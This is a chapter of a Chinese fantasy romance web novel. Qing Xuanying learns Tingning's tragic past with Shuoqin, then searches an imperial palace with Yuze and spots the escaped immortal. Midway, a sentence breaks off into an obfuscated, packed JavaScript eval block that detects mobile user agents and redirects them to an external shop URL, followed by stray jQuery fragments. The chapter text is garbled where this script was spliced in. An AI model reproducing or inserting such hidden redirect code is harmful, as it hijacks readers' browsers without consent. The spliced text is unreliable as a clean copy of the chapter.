45. 亏欠

作品:《神尊他沦陷了

    清玄影却忙点头招呼:“自然。”


    她将葶苧引入,无暇顾及羽泽那满腹疑虑的眼神,也不及顾其他。


    她替她上茶。


    “都这么晚了,要不……”羽泽默后又道。


    “既许你叨扰朋友,不许我与朋友相谈?”葶苧笑着瞅了眼羽泽,“都是朋友,你也不用刻意回避。”


    这句话倒像是给了羽泽一个定心,反正他也在场,若是真有什么差池他也能及时照应着,总好过葶苧单独再找她说些什么,便没再出声。


    “无妨,晚不晚的没所谓,今天幸得你照应,你且说。”清玄影生怕羽泽惹怒了人姑娘,忙笑得热情。


    葶苧笑眼盈盈捧起清玄影斟的茶。


    半柱香过后,清玄影兴趣盎然道:“原来你和羽泽殿下早就认识,也是九天中仙,那我这也算是误打正着碰到了外应。”


    她的困意渐没,双目炯炯,“你方才所说的这九天银河之外的一块陨石是什么意思?”


    “那要从亿年前说起了。那时突有三块陨石降至天族。其一,晶莹剔透;其二,锋芒锐利;其三,纯白无瑕。我便是那其一,羽泽,是那其二。朔琴闲来无事便为三块陨玉注入仙力,日复一日修炼,最终幻化成人形。”


    葶苧执起桌上洗白如玉的茶壶,往瓷碗中沁了一盏茶,盏中缓缓飘起袅袅烟霞,芳香萦溢,袭人肺腑。她随即抿了口细茶,似是等待着什么。


    不出所料,清玄影挪挪木椅,寻得一个较为舒适的姿势,好奇道:“那第三块呢?”


    “第三块,是前女尊清柠菀。”


    羽泽听得此话转头看向葶苧,喝茶的手一顿,欲言又止。


    葶苧没转头,浅笑露出两卷梨涡,径自说了下去。


    “玄卿老儿座下本无女儿,奈何得女心切,夜夜就着雪莲皇祈福。后来,为了三族交好,朔琴将清柠菀过继到玄卿老儿名下。”


    这些事,就算身为一族之女尊,她竟也从未听闻。


    这下,清玄影便有些震惊,于是自然没发觉葶苧的右拳刹时紧握,白骨分明,可怕至极。待她转头倾听接下来的故事,又悄然松了开。


    “之后又发生了好多事,若有机会再细细讲与你。”约是烛光暗淡燃尽,又或是夜深了,葶苧有些疲倦地挺了挺背。


    “那你为何不在天族了?”


    清玄影想起最开始的疑虑问道。


    这番话毕,她清晰看见葶苧亮如黑漆的眸子间划过大片阴霾,犹如片片刀刃刺进她的眉目,瞬而消失。


    她正思忖着要不要就此打住,没想到葶苧淡然开了口,仿佛在诉说一个毫无相干之人的历程。


    “我曾与朔琴有过相恋之情,奈何身份悬殊太大,他又不肯允我个名分,我闹腾过,怎料他有一日受不住了,天神便依他所愿,将我困于此地,永生永世不复相见。”


    清玄影心底似触动了一根弦,将茶盏往几上一磕,几滴渍水猛地散开,她愤然道:“朔琴他真不是个东西,葶苧,若有机会,我定接你回天族。”


    葶苧温然含笑:“谢谢你的好意,我早就释怀了。”转了话头,“此番你和羽泽是为逃跑一仙而来,我在这凡间许久,倒也有些个头绪,不知二位是否愿闻其详。”


    清玄影端正地点了点头。


    “既然这小虾仙受过断尾这般残忍酷刑,离凡时间又不长久,想必与皇宫脱不了干系。而她是女子之身,又因相思劫离族。”葶苧佯作沉思状,“和亲身份、出征将士……”


    “为何不能是忠心耿耿的女婢或是心系情郎的公主呢?”羽泽将茶盏在手心转了转,接了一句话。


    葶苧瞥了眼窗外,有些漫不经心:“如此深的执念,怕是生前并没那么简单。”话打住,突一个急转峰:“天深了,羽泽,陪我去给各屋送个蜡烛吧。”


    羽泽起身,忽而顿了一下,对清玄影柔声道:“我出去一下,小影,你累了先歇息吧。”


    他唤自己小影?好亲切的称呼。


    清玄影一时默了一下,半晌才答复道:“好。”


    葶苧随即朝清玄影拜了礼数告辞,清玄影亦起身回了礼。


    烛光摇曳,沿路挨个照亮,直至最后一户人家。


    羽泽敛袖收筐,率先打破了沉默。


    “你如何得知?”


    葶苧闻言小讶了一下,随即持绢布一角掸了掸衣物边的灰尘:“无论是从容颜、脾性还是性子,简直分毫不差。”


    葶苧的眼帘缀下肃然,皎洁月光洒在面容,倒有了一番兴师问罪,“瞒过一时,瞒不了永生永世,你何不诉与她实情?”


    羽泽颔首,忽而明白了什么似得笑了一下:“你还是一如既往的、聪明伶俐。”


    葶苧微微一怔,转瞬笑道:“那你作何打算?”


    羽泽微笑着,神色却无起伏:“我亏欠的,我会补回来。但、若是他人欠的,我也定会让他人加倍奉还。”


    葶苧悄然轻挑睫尾,移了话头:“纵使世间变幻莫测,欠的债,也总该是要尽数归还。”随后似叹了口气,“若他懂得这个道理,我也不会沦落到这般地步了。”


    羽泽闻言默了默,眸底沉了半壁星河,良久,他隐了心绪接话道:“其实朔琴他一直在念叨……”


    话未完再次被打断,葶苧目光一敛,语气却平和:“夜深了,山上恐有野物作祟,耽搁时间有些久了,你快回屋吧。”


    羽泽抬头,月光幽幽,缥缈之中却暗藏流银泻辉。


    确是该歇息了,他道了谢,返回木屋,扣上门闩。


    彼时,清玄影侧身卧于外间,犹自在梦中,纹丝未动。


    茶具已然归于原处,一切如旧,井井有序。


    只余烛影轻轻摇红。


    羽泽上前剪下烛光,轻轻将她抱回了内寝,又蹑手蹑脚回到了外间。


    屋内黑漆漆一片,寂然无声。


    第二日天方亮,屋内便窸窸窣窣好一顿响。


    先是炉灶飘起焦味,后是盅勺摔碎之声。更可气的是,每一次响起后总有段停歇。待梦境重现,又被噼里啪啦吵醒。


    清玄影使了浑身气力用爪子揪紧俩耳朵,终于难以忍受,“嗖”地跳下床直


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868175|190899||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    冲灶间。


    羽泽刚往灶膛里添了把柴火,暗自窃喜把握了火候,一回头,拎着铲子的手一颤。双目一提溜,先发制人道。


    “醒了?菜很快便好。”


    清玄影可不领情,气呼呼地抄起桌上黑乎乎一盘鱼,顶到羽泽鼻尖底下:“这是什么?”


    羽泽故作惊讶,道:“你连红烧鱼都不识了,想来还未完全苏醒。”


    是,扰了本女尊的好梦,我自是暴躁不安,可这鱼烧成这样,居然还恬不知耻!


    清玄影鼓起腮帮,嘟唇立于一旁,全然忘却了自己对羽泽的情义。


    羽泽洗了手,将水煮菜盛起。瞥了眼身旁人,扬起衫袖揉了揉清玄影的头,像是揉搓一只小猫毛茸茸的小脑袋,径自走回厅室。


    沉稳男声夹杂一丝俏皮自身后传来:“醒了就过来吃点东西吧,一会儿有得忙了。”


    忽一阵轻雾袅袅,汤盅一揭,倒还真有几丝妙香,清玄影只觉猛地一激灵,两颊霎时飞袭一酡嫣红,什么起床气、迷糊劲早就抛到九霄云外去了。


    饱饭后,两抹幻象隐了身,负手而立角楼处。


    和煦的风拂过,秾丽的冬色便一蓬一蓬盛开在镀金艳阳天下,又偶有哪家宫中熏起香,游丝般幽幽细转出一脉淡烟,闲静惬意,倒与这刻板规矩的皇宫毫无违和感。


    “你确定小虾米是这后宫嫔妃间其中一位?”


    清玄影凝眸碎念好些次心感,却无半点回应,她微觉疑惑,“或许,是小妾?”


    羽泽摇头:“这皇宫内毫无气息可言,定是不在此处。”


    良久,他垂眸瞧她,似是不经意间道。


    “你说,前世为情字所伤,若有转世,你会作何选择?”


    清玄影眼中染上浮云阴翳,盈盈浅笑。


    “若我如此,我便隐于别处,封了记忆,前尘往事再不纠缠。”


    羽泽定神一愣,半晌,攒起清亮的眸光而笑:“如此也好,如此也好。”


    卷了风,树影婆娑,金黄水绿两色的琉璃瓦在阳光下粼粼似金波。


    清玄影心底掠过一阵惊鸿,走至一旁,刹时整个人熠熠如明珠生辉,目光中无数神采流转。


    “许是小虾仙也做了这样的选择!你瞧,这里隔了开。”


    羽泽挪步亦眺望。


    百丈城墙雄立不倒,那些覆着其上的青苔见证了多少年华似水,风花雪月的繁荣、人走茶凉的悲凄,那是一方。转身,柳枝摇曳,酩酊着,编织一场安闲舒适的美梦,那是另一方。


    荷塘处,两抹清秀身影款款而来。


    男子着一身雪白直襟长袍,腰间束一条青色祥云宽边锦带,其上只挂了一挂亲手缝绣的鸳鸯香囊,浅笑着,眸子间有股星河璀璨,不染纤尘,干净淡雅。


    倚在臂弯上的,是那男子的福晋,端庄贤淑、温文尔雅,扬唇回眸,一痕秋水洗净淤泥。


    鸿运当头,紫气东来,不知是沾了何处的福分,现下竟如此顺当。


    清玄影不可置信地眨眨眼,凝气又念了一次心语。


    果然,是她。